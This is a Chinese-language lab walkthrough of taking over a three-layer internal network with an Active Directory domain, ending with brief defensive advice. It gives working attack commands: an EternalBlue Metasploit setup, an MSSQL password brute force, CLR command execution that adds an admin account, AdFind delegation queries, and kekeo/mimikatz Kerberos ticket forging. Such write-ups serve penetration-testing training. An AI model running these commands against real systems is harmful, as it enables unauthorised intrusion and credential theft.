三层内网下的域渗透
字数 2710 2025-08-24 16:48:07
三层内网域渗透实战教学文档
网络拓扑与环境概述
网络结构
- DMZ区:IP段 192.168.31.0/24(桥接模式)
- 可连通外网
- 靶机有两个网卡:一个对外服务,一个连接第二层网络
- 第二层网络:IP段 10.10.20.0/24
- 不能连通外网
- 靶机有两个网卡:一个连接DMZ,一个连接第三层网络
- 第三层网络:IP段 10.10.10.0/24
- 不能连通外网
- 靶机只有一张网卡,包含域控和域内服务器
关键主机信息
域控服务器
- 系统:Windows Server 2008
- 服务:IIS + Exchange 2013
- 目录还原密码:redteam!@#45
- 主机名:owa
- 域管理员:administrator:Admin12345
域内服务器
- 系统:Windows Server 2008 + SQL Server 2008
- 主机名:sqlserver-2008
- 本地管理员:Administrator:Admin12345
- 域账户:redteam\sqlserver:Server12345(配置了约束委派)
- MSSQL:sa:sa
域内个人PC
- 系统:Windows 7
- 主机名:work-7
- 本地管理员:john:admin!@#45
- 域账户:redteam\saul:admin!@#45
单机服务器
- 系统:Windows server r2 + weblogic
- 主机名:weblogic
- 本地管理员:Administrator:Admin12345
- WebLogic:weblogic:weblogic123
- 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
其他域用户
- redteam\sqlserver:Server12345(约束委派)
- redteam\mail:admin!@#45
- redteam\adduser:Add12345
- redteam\saulgoodman:Saul12345(非约束委派)
- redteam\gu:Gu12345
- redteam\apt404:Apt12345
已知漏洞
- GPP漏洞:admin:admin!@#45
- MS14-068
- CVE-2020-1472
- Exchange各种漏洞
- 非约束委派可利用
- 约束委派可利用
- CVE-2019-1388
- CVE-2019-0708
渗透测试流程
第一阶段:外网打点
-
信息收集
- 使用Kscan扫描发现WebLogic服务
-
漏洞利用
- 使用WebLogic GUI工具进行批量漏洞检测
- 注入内存马
- 使用蚁剑连接
-
权限获取
- 当前权限为administrator
- 检查杀软:tasklist查看,确认无杀软
- 生成CS马并上线
-
内网发现
- 发现目标有两个网卡,通向10.10.20.0/24
-
工具联动
- 将CS联动MSF,给MSF一个Meterpreter会话
- 在CS已获得的shell右键新增会话进行设置
- MSF设置监听
- 直接getsystem提权(administrator权限)
第二阶段:内网横向移动
-
内网扫描
- 上传Fscan:fscan32.exe -h 10.10.20.0/24
- 发现10.10.20.129(Windows7)存在永恒之蓝漏洞
-
路由设置
- MSF添加路由通向10.10.20.0网段
-
漏洞利用
- 使用exploit/windows/smb/ms17_010_eternalblue攻击
- 设置:
search ms17-010 set payload windows/x64/meterpreter/bind_tcp set lport 7778 set rhosts 10.10.20.129 exploit - 第一次攻击失败(蓝屏),第二次成功
- 发现新网段10.10.10.0/24
- MSF继续添加路由
第三阶段:域内信息收集与域渗透
-
基础信息收集
net config Workstation:查看计算机名、全名、用户名、系统版本等net user:查看本机用户列表net user /domain:查看域用户net localgroup administrators:查看本地管理员组net view /domain:查看有几个域net user 用户名 /domain:获取指定域用户信息net group /domain:查看域工作组net group "domain admins" /domain:查看域管理员net group "domain computers" /domain:查看域中其他主机net group "domain controllers" /domain:查看域控
-
凭据获取
- 在Windows7加载mimikatz:
creds_all列举所有凭据 - 获得普通域用户saul的密码
- 在Windows7加载mimikatz:
-
SQLServer攻击
- 发现10.10.10.129是SQLServer服务器
- 使用MSF爆破SQLServer弱口令:
search mssql_login use auxiliary/scanner/mssql/mssql_login set RHOSTS 10.10.10.129 set THREADS 5 set USERNAME sa set PASS_FILE /root/pass.txt run - 获得账号sa:sa
-
代理设置
- MSF设置Socks5:
search socks use auxiliary/server/socks_proxy set SRVHOST 127.0.0.1 set SRVPORT 1080 - 配置proxychains:
vim /etc/proxychains4.conf 添加:socks5 127.0.0.1 1080
- MSF设置Socks5:
-
SQLServer提权
- 使用SharpSQLTools:
proxychains python PySQLTools.py sa:'sa'@10.10.10.129 - 尝试xp_cmdshell提权失败
- 使用clr提权成功:
enable_clr clr_exec {cmd} - 添加管理员用户:
clr_exec 'net user ocean.com qwe.123 /add' clr_exec 'net localgroup administrators ocean.com /add' - 远程桌面连接,上传MSF正向木马上线SQLServer
- 使用SharpSQLTools:
-
委派攻击
- 上传Adfind,查找配置了委派的主机和用户
- 查询非约束委派主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName - 查询非约束委派用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName - 查询约束委派主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto - 查询约束委派用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
-
域控攻击
- 使用mimikatz获取SQLServer凭证
- 上传kekeo,请求TGT:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt - 获取域机器的ST:
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt - 使用mimikatz导入ST:
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi - 成功拿下域控制器
关键技术与工具总结
-
工具列表
- Kscan:外网扫描
- WebLogic GUI工具:漏洞检测
- 蚁剑:WebShell管理
- Cobalt Strike:后渗透框架
- Metasploit:漏洞利用框架
- Fscan:内网扫描工具
- mimikatz:凭据提取
- AdFind:活动目录查询
- kekeo:Kerberos票据操作
- SharpSQLTools/PySQLTools:SQLServer提权工具
-
关键技术点
- 多层网络穿透技术
- 永恒之蓝漏洞利用
- SQLServer提权技术
- Kerberos委派攻击(约束/非约束)
- 票据传递攻击(PTT)
- 活动目录信息收集
-
防御建议
- 及时修补已知漏洞(MS17-010等)
- 禁用不必要的服务(如WebLogic)
- 加强SQLServer账户安全
- 合理配置委派权限
- 监控Kerberos异常活动
- 实施网络分段隔离
通过以上步骤,成功完成了从外网到内网,再到域控制器的完整渗透过程,展示了多层内网环境下的渗透测试方法和技巧。